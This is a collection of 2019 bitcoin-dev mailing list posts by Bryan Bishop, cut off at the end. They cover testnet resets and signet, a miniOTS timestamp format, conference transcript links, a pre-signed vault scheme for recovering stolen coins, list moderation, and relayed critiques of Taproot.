[Bryan Bishop via bitcoin-dev]

Be greeted Emil,

On Sat, Jun 8, 2019 at 9:21 AM Emil Engler via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Hello, I tried myself with some Bitcoin development. For this I used of
> course the Bitcoin testnet. However it took me one hour to sync the
> blockchain with around 1538358 blocks. In my opinion that is too much
> for a testnet. Especially the blockchain size with around 26GB is so
> much. Would it be possible to reset the testnet with a new genesis block
> ? And if so, can we setup a fixed cycle for resetting the testnet (For
> example every second 1st of January) ?
>

At the moment, I somewhat doubt this is likely to happen. Signet provides
an alternative for configuring multiple separate private and public testing
networks. If you would like to get involved, check out the recent
discussion on the topic recorded here:
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-signet/

- Bryan
http://heybryan.org/
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [ots-dev] miniOTS: ots proofs that fit in a tweet

[Bryan Bishop via bitcoin-dev]

-- Forwarded message -
From: William Casarin 
Date: Wed, Jun 5, 2019 at 9:13 AM
Subject: [ots-dev] miniOTS: ots proofs that fit in a tweet
To: 



Hello OTS people,

Following from my previous post about cleartext OTS proof sharing[1],
I've been working on a new OTS format called miniOTS, which is
minimal/compressed format that allows attestations to fit in a tweet[2]
and for other space constrained contexts.

Just stripping out additional attestations in the standard format only
gets it down to just above ~280 bytes when base58 encoded, which is too
much for a tweet, so I decided to roll a custom format that is a bit
more efficient with attestation and op tags.

The goal was to have small enoughs proofs that I could reply to a tweet
with the stamp of the previous message, instead of relying on external
sites such as @otsproofbot


Current format (210 bytes, 288 bytes base58-encoded):

: 004f 7065 6e54 696d 6573 7461 6d70 7300  .OpenTimestamps.
0010: 0050 726f 6f66 00bf 89e2 e884 e892 9401  .Proof..
0020: 08cb 2d4a f572 8d44 a5b0 7c7b f1ff 78a9  ..-J.r.D..|{..x.
0030: 1818 7270 13f1 9bbd f4b0 344b 9e93 0c6b  ..rp..4K...k
0040: 39f0 1020 34fe cad9 edef bab0 3420 e4ee  9.. 4...4 ..
0050: d3a7 c608 fff0 107c 31f7 da6c dbf2 3271  ...|1..l..2q
0060: 904c c5dd f58d eb08 f120 e4f7 3eaf a747  .L... ..>..G
0070: 324a f096 1aa0 928d e1c1 91bf 3c38 237d  2J..<8#}
0080: d412 c1c0 e94c d4ae 3f76 08f1 045c 4cb3  .L..?v...\L.
0090: a4f0 08f7 834d 4b14 68fd 41ff 0083 dfe3  .MK.h.A.
00a0: 0d2e f90c 8e2c 2b68 7474 7073 3a2f 2f62  .,+https://b
00b0: 6f62 2e62 7463 2e63 616c 656e 6461 722e  ob.btc.calendar.
00c0: 6f70 656e 7469 6d65 7374 616d 7073 2e6f  opentimestamps.o
00d0: 7267 rg

miniOTS format (133 bytes, 183 bytes base58-encoded):

: 6f74 7301 8a20 34fe cad9 edef bab0 3420  ots.. 4...4
0010: e4ee d3a7 c683 8a7c 31f7 da6c dbf2 3271  ...|1..l..2q
0020: 904c c5dd f58d eb83 8be4 f73e afa7 4732  .L.>..G2
0030: 4af0 961a a092 8de1 c191 bf3c 3823 7dd4  J..<8#}.
0040: 12c1 c0e9 4cd4 ae3f 7683 8b5c 4cb3 a48a  L..?v..\L...
0050: f783 4d4b 1468 fd41 9a2b 6874 7470 733a  ..MK.h.A.+https:
0060: 2f2f 626f 622e 6274 632e 6361 6c65 6e64  //bob.btc.calend
0070: 6172 2e6f 7065 6e74 696d 6573 7461 6d70  ar.opentimestamp
0080: 732e 6f72 67 s.org


base58 before:

12j6JNmon36jC1MMcpvC8nHqg5p8DAT2mmPQ5aLaBmAbk8naEVt8HFVohRqkuMXZF2Wo2n9kv
5ByeL17yUww4NHuFyCT6PXsGxRuEZ12Z33gsLbXL5FuFmnvMLd3tzf76n69J7qxLPxmoAgm1z
9NEMi2MRypDNKy1GypGN5NLwerzy1nU5g5dZxV6TZ5rBs4gYqnMNJn9VMkfKeDSZ9M8aoMWrL
ShokXUpnS1qrqkTvTwyKMx17fhKfcP9FyhNkb81t8dwYLtBsN4QuP9UAktMUvjEoBzHt

base58 after:

6gQjQUehytgUevKLRtAFYbC6UJX72LCDgVWxAUPsCt3tqEVTEQfmUB1T1Y1GTyY8sugiPY97K
gWRPPXYJmH3J5jqVtyNLrzdkySM6VAYDVckya9BxbUbFB8Gs4U3LHEauTmgCPEhGhiRdC3eFW
63SwfAvKB8Q8Ku8ZM9uASCwWZ8K2AoVabuAn


You can check it out here:

  git clone https://git.sr.ht/~jb55/ots-tool

This is still a work in progress, I haven't built the miniOTS -> OTS
decoder yet.

make
./otsmini file.ots


Cheers,
Will


[1] id:878t1fzn0v@jb55.com
[2] https://twitter.com/jb55/status/1136260220521336832


-- 
- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Transcripts from Breaking Bitcoin 2019

[Bryan Bishop via bitcoin-dev]

Hi all,

The following are some notes I took during Breaking Bitcoin 2019, selected
for relevance. Any mistakes are most likely my own.

Carl Dong gave an excellent talk on guix as a replacement for the gitian
build system:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/bitcoin-build-system/
but really just watch his presentation:
https://www.youtube.com/watch?v=I2iShmUTEl8

Mempool analysis, client-side filtering, client updates
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/mempool-analysis-simulation/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/neutrino/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/p2p-encryption/

Some privacy and coinjoin talks:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/breaking-bitcoin-privacy/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/breaking-wasabi/

Hardware wallets:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/extracting-seeds-from-hardware-wallets/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/future-of-hardware-wallets/

Bitcoin upgrades:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/secure-protocols-bip-taproot/

p2pool analysis:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/security-attacks-decentralized-mining-pools/

Lightning network:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-routing-security/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-topological-analysis/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-security-panel/

Of possible interest (general, not really development focused):
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/defense-of-bitcoin/

- Bryan
http://heybryan.org/
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Bitcoin vaults with anti-theft recovery/clawback mechanisms

[Bryan Bishop via bitcoin-dev]

On Mon, Aug 12, 2019 at 10:01 AM Peter Todd  wrote:

> The key difference being it's not important that this be a *public*
> notification: that the public can see just happens to be an (unfortunate)
> implementation detail. For example, you could imagine a system where the
> "prepare to spend" tx is indistinguishable from any other transaction.
>

True, I did not intend for everyone to know the meaning of the observed
transaction. It turns out to not be too useful to the scheme anyway, unless
you're interested in protecting against an adversary dumb enough to tell
you he has stolen your key before spending your coins. To reiterate my
other follow-up email, the best you can do (... or the best I can do right
now) is limit losses to k% where k is selected by the user, e.g. 1 input
100 outputs each with succesively increasing timeouts allowing the rotten
non-rotated(pre-inserted) key to spend, and instant spending by a recovery
flow. Once the attacker steals any one of the k% outputs, you know to not
let the outputs timeout to that key in the future. Unfortunately, without
an opcode-style covenant, the only way to know if a stale hot key is stolen
is to observe an unexpected spend or, if you're lucky, observe an
unexpected signature otherwise unassociated with a transaction.


> > * Nuclear abort key: Also unnecessary. This is a key for which only a
> single


>
Obviously normally to provably destroy coins you'd spend to an OP_RETURN
> output, or if miner censorship was an issue, a pay-to-script-hash of an
> OP_RETURN  script.
>

Oh, right. Well, that works.


> > Delete the key (for pre-signed transactions)
> > 
> >
> > The delete-the-key trick is simple. The idea is to pre-sign at least one
> > transaction and then delete the private key, thus locking in that course
> of
> > action.
> >
> > Unfortunately, delete-the-key doesn't really work for multisig scenarios
> > because nobody would trust that anyone else in the scheme has actually
> deleted
> > the secret. If they haven't deleted the secret, then they have full
> unilateral
> > control to sign anything in that branch of the transaction tree. The
> only time
> > that delete-the-key might be appropriate would be where the user who
> deletes
> > the key and controls the key during the setup process is also the sole
> > beneficiary of the entire setup with the multisig participants.
> >
> > Alternative fee rates are easier to deal with using delete-the-key,
> compared to
> > a technique where the private key never existed which can only be used
> to sign
> > one fee rate per public key, requiring an entirely new vault subtree for
> each
> > alternative fee rate. With delete-the-key, the alternative fee rates are
> signed
> > with the private key before the private key is deleted.
>
> I think this could use a bit more analysis here: why can't delete the
> *keys*
> work, with each party deleting a separate private key that's used in an
> m-of-n
> fashion? So long as at least n-m+1 parties actually deleted their keys
> IIUC it
> should be secure.
>

I was thinking about another construction where you pick a key as a group
(separate from the multisig setup) and sign with that. But in practice, as
you have pointed out, you would do the delete-the-key trick on the multisig
construction itself with each party contributing their own pubkey,
requiring 1/n honest deletes.


> > Multisig gated by ECDSA pubkey recovery for provably-unknown keys
> > =
> >
> > A group can participate in a multisig scheme with provably-unknown ECDSA
> keys.
> > Instead of deleting the key, the idea is to agree on a blockheight and
> then
> > select the blockhash (or some function of the chosen blockhash like
> > H(H(H(blockhash as the signature. Next, the group agrees on a
> transaction
> > and they recover the public key from the signature using ECDSA pubkey
> recovery.
>
> Could you explain in more detail why you're deriving this from a blockhash?
>

Well you need to pick an entropy source, and I wouldn't want to tell people
to just trust the first party to tell you a good sequence of bytes.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Transcripts from Scaling Bitcoin 2019

[Bryan Bishop via bitcoin-dev]

Hi,

Here are some transcripts of talks from Scaling Bitcoin 2019 Tel Aviv. Any
errors are most likely my own.

Training material


Training materials for bitcoin developers:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/

Foundation topics:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/bitcoin-data-structures/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/blockchain-design-patterns/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/hardware-wallet-design-best-practices/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/privacy-concepts/

Developing Bitcoin Core:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/bitcoin-core-functional-test-framework/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/debugging-bitcoin/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/rebroadcasting/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/signet/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/wallet-architecture/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/libbitcoin/

Lightning network:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-routing/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-sphinx-and-onion-routing/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-topology/

Upgrades:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/accumulators/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/taproot/

Scaling Bitcoin conference


LN, payment networks and hubs:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/anonymous-atomic-locks/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/atomic-multi-channel-updates/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/payment-channel-recovery-with-seeds/

Upgrades:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/bip-securethebag/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/erlay/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/secure-fountain-architecture/

https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/elastic-block-caps/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/plasma-cash/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/prism/

https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/proof-of-necessary-work/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/proof-of-verification-for-proof-of-work/

https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/threshold-scriptless-scripts/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/scriptless-lotteries/

https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/survey-of-progress-in-zero-knowledge-proofs-towards-trustless-snarks/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/zkvm/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/bitml/

Private information retrieval methods for lightweight clients:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/private-information-retrieval/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/scaling-oblivious-read-write/

More privacy:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/zerolink-sudoku/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/txprobe/

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] [BIP-able idea] Regular testnet reset

[Bryan Bishop via bitcoin-dev]

On Sun, Sep 15, 2019 at 8:49 AM Emil Engler via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Hello, I'm thinking about writing a BIP about resetting the testnet on
> regular/scheduled basis
>

As a reminder, here is where you last brought up the idea, and the feedback:

https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-June/017014.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-June/017031.html

Since then, here is some new material on signet:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/signet/

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Bitcoin vaults with anti-theft recovery/clawback mechanisms

[Bryan Bishop via bitcoin-dev]

Hi,

I have a proposal for implementing bitcoin vaults in a way that does not
require any soft-forks or other software upgrades, although it could benefit
from SIGHASH_NOINPUT which I'll describe later.

I call them pre-signed vaults.

Vault definition


Here, a vault is defined as a transaction setup scheme that binds both the user
and the attacker to always using a public observation and delay period before a
weakly-secured hot key is allowed to arbitrarily spend coins. This is the same
definition previously used[1]. During the delay period, there is an opportunity
to initiate recovery/clawback which can either trigger deeper cold storage
parameters or at least reset the delay period to start over again for the same
keys.

One of the important components of this is the delete-the-key pre-signed
transaction concept, where only a single transaction is (pre)signed before
deleting the key. This is basically an emulation of a covenant and enforces a
certain outcome.

Background and motivation
=

I was looking at Eyal and Sirer's 2016 vaults paper [1], and I saw this
headscratcher:

> Vault transactions use a delay mechanism. We note that vault transactions
> cannot be implemented with existing timing mechanisms such as
> CHECKLOCKTIMEVERIFY opcode or transaction locktime.

This was probably written before the introduction of OP_CHECKSEQUENCEVERIFY.
Still, a viable construction would have more steps than just using OP_CSV. They
were probably not thinking about what those steps might be, because in the
context of the paper they were proposing a bitcoin vault implemented using
recursive consensus-enforced covenants via a new opcode, which obviously cannot
be deployed without an upgrade fork. Covenants have been discussed for years,
but require new opcodes or other consensus-enforcement changes.

Relative locktimes are useful here because there is no knowledge as to when the
transactions might be broadcasted in the future. The delays need to be relative
to after the transaction is included in the blockchain, not to setup
initialization time.

Also, from [2]:

> We show that a [vault transaction] mechanism is currently not possible in all
> cryptocurrencies [...] Bitcoin's scripting language requires support for
> covenants.

I haven't seen any previous proposal for how to implement recursive bitcoin
vaults without a fork and without a covenant. After asking around, I am pretty
sure this is somewhat novel. The closest I guess is [3].

Vaults are particularly interesting as a bitcoin cold storage security
mechanism because they enable a publicly observable delay period during which
time a user could be alerted by a watchtower that a thief might be in the
process of stealing their coins, and then the user may take some actions to
place the coins back into the vault before the relative timelock expires. There
seems to be no way to get this notification or observation period without a
vault construction. It might have been assumed it required a covenant.

Having a vault construction might go a long way to discourage would-be
attackers, on principle that the attacker might be incapable of recovering
their cost-of-attack because the recovery mechanism can lock up the coins
indefinitely. Griefing or denial-of-service would still be possible, of course,
but with multisig there might be some ways to put a halt to that as well. I am
working under the assumption that the attacker knows that the user is a vault
user.

Vaults
==

The idea is to have a sequence of pre-generated pre-signed transactions that
are generated in a certain way. The basic components are a vaulting transaction
that locks coins into a vault, a delayed-spend transaction which is the only
way to spend from a vault, and a re-vaulting transaction which can
recover/clawback coins from the delayed-spend transaction. The security of this
scheme is enforced by pre-signing transactions and deleting private keys, or
with the help of SIGHASH_NOINPUT then there's another scheme where private keys
are provably never known. This enforces that there's only a specific set of
possible outcomes at every step of the vault.

Some examples of what the set of broadcasted transactions might look like in
regular usage:

coins -> VT -> DST -> exit via hot wallet key
coins -> VT -> DST -> RVT
coins -> VT -> DST -> RVT -> DST -> ...
coins -> VT -> ... -> RVT998 -> nuclear abort

where:
VT = vault transaction
DST = delayed-spend transaction
RVT = re-vaulting transaction

The delayed-spending transaction would have a single output with a script like:
(
30 days AND hot wallet key
 OR 10 days AND re-vaulting public key
 OR 1 day AND 4-of-7 multisig
 OR 0 days and super-secure nuclear abort ragequit key
)

Another diagram:

VT_100 -> DST -> (optionally) RVT -> coins are now in VT_99
VT_99 -> DST -> (optionally) RVT -> coins are now in VT_98
...
VT_1 -> burn-all-coins nuclear abort ragequit 

Re: [bitcoin-dev] Bitcoin vaults with anti-theft recovery/clawback mechanisms

[Bryan Bishop via bitcoin-dev]

Hi,

One of the biggest problems with the vault scheme (besides all of the
setup data that has to be stored for a long time) is an attacker that
silently steals the hot wallet private key and waits for the vault's
owner to make a delayed-spend transaction to initiate a withdrawal
from the vault. If the user was unaware of the theft of the key, then
the attacker could steal the funds after the delay period.

To mitigate this, it is important to choose a stipend or withdrawal
amount per withdrawal period like x% of the funds. This limits the
total stolen funds to x% because once the funds are stolen the user
would know their hot key is compromised, and the user would know to
instead use one of the other clawback paths during all of the future
withdrawal delay periods instead of letting the delay timeout all the
way to the (stolen) default/hot key.

The reason why a loss limiter is the way to go is because there's
currently no way (that I am aware of, without an upgrade) to force an
attacker to reveal his key on the blockchain while also forcing the
attacker to use a timelock before the key can spend the coins. I am
curious about what the smallest least invasive soft-fork would be for
enabling this kind of timelock. There are so many covenant proposals
at this point (CHECKSIGFROMSTACK, SECURETHEBAG, CHECKOUTPUTVERIFY,
). Or there's crazy things like a fork that enables a transaction
mode where the (timelock...) script of the first output is
automatically prefixed to any of the other scripts on any of the other
outputs when an input tries to spend in the future. A thief could add
his key to a new output on the transaction and try to spend (just like
a user would with a fresh/rotated key), but the OP_CSV would be
automatically added to his script to implement the public observation
delay window.

Also, there was other previous work that I was only informed about
today after posting my proposal, so I should mention these as related
work:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-February/015793.html
https://blog.oleganza.com/post/163955782228/how-segwit-makes-security-better
https://www.youtube.com/watch?v=diNxp3ZTquo
https://bitcointalk.org/index.php?topic=5111656

- Bryan
http://heybryan.org/
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Bitcoin vaults with anti-theft recovery/clawback mechanisms

[Bryan Bishop via bitcoin-dev]

Replying to two emails below.

On Wed, Aug 7, 2019 at 7:27 PM ZmnSCPxj  wrote:

> > -   Re-vaulting transaction. This is where the magic happens. The
> re-vaulting
> > transaction is signed during transaction tree setup, before
> constructing the
> > delayed-spend transaction for the parent vault. The re-vaulting
> transaction is
> > broadcasted when someone wants to prevent a coin withdrawal during
> the public
> > observation delay period. The re-vaulting transaction spends the
> delayed-spend
> > transaction outputs. It has a single output with a script created by
> running
> > the entire vault setup function again. Hence, when the re-vaulting
> transaction
> > is confirmed, all of the coins go back into a new
> identically-configured vault
> > instead of being relinquished through the delayed-spend transaction
> timeout for
> > hot wallet key signing.
>
> As transactions need to be signed in reverse order, it seems to me that
> there is a practical limit in the number of times a vault can be used.
> Basically, the number of times we run the vault setup function is the
> limit on number of re-vaultings possible.
>
> Is my understanding correct?
>

Yes, that is correct. When setting up the vault, plan it "all the way to
the end" like next 100+ years. With exponential backoff on the relative
timelock values, the total number of pre-signed transactions isn't really
that high. With a few thousand pre-signed transactions (more than enough),
you can have high resolution timelocks well into the future.

On Wed, Aug 7, 2019 at 4:19 PM Dustin Dettmer 
wrote:

> Does revaulting vault up with the same keys, or new ones?
> Are they new derivation paths on the same key?
>

Honestly, no idea. The answer to that might depend on each individual vault
user. If the user doesn't want to deal with the expense of managing a bunch
of unique keys and other data, then it might make more sense to use the
same values and have a small blob that has to be stored for a long time,
rather than many different blobs stored in different places to deal with.

- Bryan
http://heybryan.org/
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] [Meta] bitcoin-dev moderation

[Bryan Bishop via bitcoin-dev]

On Thu, Aug 1, 2019 at 10:50 PM Emil Engler via bitcoin-dev
 wrote:
> The current situation is that the moderation is slow and takes around
> >24h for a E-Mail to be on the mailing list

It really shouldn't be 24 hours. Our strategy was to have a few
moderators in different timezones to cover sleep shifts or other
disruptions of service. Evidently this has not been adequate.

> Jonas Schnelli proposed: "I propose that we add more moderators to
> shorten the moderation lag which has been between >24h, thus makes
> debates cumbersome"

Makes sense. I'll go find a few people.

> Beside this I had the idea of people who already contributed n e-mails
> to the mailing list don't need an approval for any e-mail anymore (Where
> n is the number of previous e-mails). Does this exists already?

There is an active software vulnerability which requires moderation to
be enabled. This version of mailman is unmaintained, and Linux
Foundation is migrating away from or abandoning the email protocol so
they are less willing to do backend infrastructure work. This
manifests in other ways, like downtime, but also weird situations like
missing emails that never hit the moderation queue. I get pings from
different people about two times a year where they report an email
that they think I missed, but in fact it never hit the moderation
queue at all. Email clearly isn't the greatest protocol.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] ChainWallet - A way to prevent loss of funds by physical violence

[Bryan Bishop via bitcoin-dev]

Since the user can't prove that they are using this technique, or
petertodd's timelock encryption for that matter, an attacker has little
incentive to stop physically attacking until they have a spendable UTXO.

I believe you can get the same effect with on-chain timelocks, or
delete-the-bits plus a rangeproof and a zero-knowledge proof that the
rangeproof corresponds to some secret that can be used to derive the
expected public key. I think Jeremy Rubin had an idea for such a proof.

Also, adam3us has described a similar thought here:
https://bitcointalk.org/index.php?topic=311000.0

- Bryan

On Fri, Oct 4, 2019, 4:43 AM Saulo Fonseca via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Hi everyone
>
> If you are a hodler, I like to propose the creation of a key stretching as
> a new layer of protection over your current wallet.
>
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] An alternative deployment path for taproot technology (Re: Taproot (and graftroot) complexity)

[Bryan Bishop via bitcoin-dev]

The following is a message forwarded from an anonymous email that, for
whatever reason, couldn't be relayed through the mailing list without my
assistance. This is message (2/3).

This email is the second of a collection of sentiments from a group of
developers
who in aggregate prefer to remain anonymous. These emails have been sent
under a
pseudonym so as to keep the focus of discussion on the merits of the
technical
issues, rather than miring the discussion in personal politics. Our goal
isn't
to cause a schism, but rather to help figure out what the path forward is
with
Taproot. To that end, we:

1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment
Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread
subject, "Taproot Public NUMS Optimization").

As a follow up to our prior message, we propose a different path forward
for the
Taproot family of changes:

1) A separate soft-fork for Merkle Branch Witnesses based on Taproot;
2) A separate soft-fork for Schnorr Signatures
3) A separate follow up soft-fork which enables Taproot and Graftroot

We think that the first 2 forks can be offered at the same time or one at a
time.

Taproot, as a follow up to changes 1 and 2, can be enabled as a soft-fork
on the
existing semantics, but requiring a new witness version. With the Public
NUMS Optimization, wallets could upgrade by just changing one version byte
to be
in the same anonymity set as Taproot.

It's not clear to us that the time to prepare a BIP and implementation for
1 and
2 at this point would be any less than the time to do Taproot as currently
proposed. However, we believe that such a deployment plan is a reasonable
option
as it is more conservative, as Merkle Branch witnesses are relatively
simple and
users only have to use Schnorr signing if they want to, and can otherwise
continue to use ECDSA. A further benefit of waiting on 3 is that we get to
collect real world protocol engineering experience to see how frequently the
Taproot frequency of use assumption holds, and if it is worth doing or not.


Great thanks,

The Group


-- 
- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Taproot public NUMS optimization (Re: Taproot (and graftroot) complexity)

[Bryan Bishop via bitcoin-dev]

The following is a message forwarded from an anonymous email that, for
whatever reason, couldn't be relayed through the mailing list without my
assistance. This is message (3/3).

This email is the third of a collection of sentiments from a group of
developers
who in aggregate prefer to remain anonymous. These emails have been sent
under a
pseudonym so as to keep the focus of discussion on the merits of the
technical
issues, rather than miring the discussion in personal politics. Our goal
isn't
to cause a schism, but rather to help figure out what the path forward is
with
Taproot. To that end, we:

1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment
Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread
subject, "Taproot Public NUMS Optimization").

We propose to modify Taproot's specification in BIP-341 by adding the rule:

If there is one element on the witness stack:

1) Attempt hashing it to see if it's equal to  the witness program. The
first
byte is the control byte for leaf versioning.
2) If it's not the witness program, and it's 65 bytes, try signature
validation

If there is more than one element on the witness stack:

If the control block is even, treat it as a non-Taproot MAST and get the
leaf
version as the last byte of the script (so you can pop it off before
hashing).


If greater anonymity is required, a NUMS point can still be used in
Taproot, at
the expense of the additional data. However, if NUMS points are just a
couple
well known constants this could actually decrease privacy as then the NUMS
points could differ from application to application fingerprinting wallets.
Instead, the NUMS point should only be used when a single use nonce can be
sent, so that NUMS cannot be distinguished from a normal Taproot to a third
party who doesn't know the setup (e.g., that the NUMS is H(X) for known X).


Great thanks,

The Group


- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Taproot (and graftroot) complexity (reflowed)

[Bryan Bishop via bitcoin-dev]

Apologies for my previous attempt at relaying the message- it looks like
the emails got mangled on the archive. I am re-sending them in this
combined email with what I hope will be better formatting. Again this is
from some nym that had trouble posting to this mailing list; I didn't see
any emails in the queue so I couldn't help to publish this sooner.

SUBJECT: Taproot (and Graftroot) Complexity

This email is the first of a collection of sentiments from a group of
developers who in aggregate prefer to remain anonymous. These emails have
been sent under a pseudonym so as to keep the focus of discussion on the
merits of the technical issues, rather than miring the discussion in
personal politics.  Our goal isn't to cause a schism, but rather to help
figure out what the path forward is with Taproot. To that end, we:

1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").

2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment Path for Taproot Technologies").

3) Suggest a modification to Taproot to reduce some of the overhead (see
thread subject, "Taproot Public NUMS Optimization").

Now that the BIP has moved to draft we felt that now was the time to
prioritize review to make sure it was an acceptable change for our
activities. As a group, we're excited about the totality of what Taproot
has to offer. However, after our review, we're left perplexed about the
development of Taproot (and Graftroot, to a lesser extent).

We also want to convey that we have nothing but respect for the developers
and community who have poured their heart and soul into preparing Taproot.
Self evidently, it is an impressive synthesis of ideas. We believe that the
highest form of respect to pay such a synthesis of ideas is a detailed and
critical review, as it's pertinent to closely consider changes to Bitcoin.


In essence, Taproot is fundamentally the same as doing
https://github.com/bitcoin/bips/blob/master/bip-0114.mediawiki and Schnorr
signatures separately.

The main reason for putting them together -- as mentioned in the BIP -- is
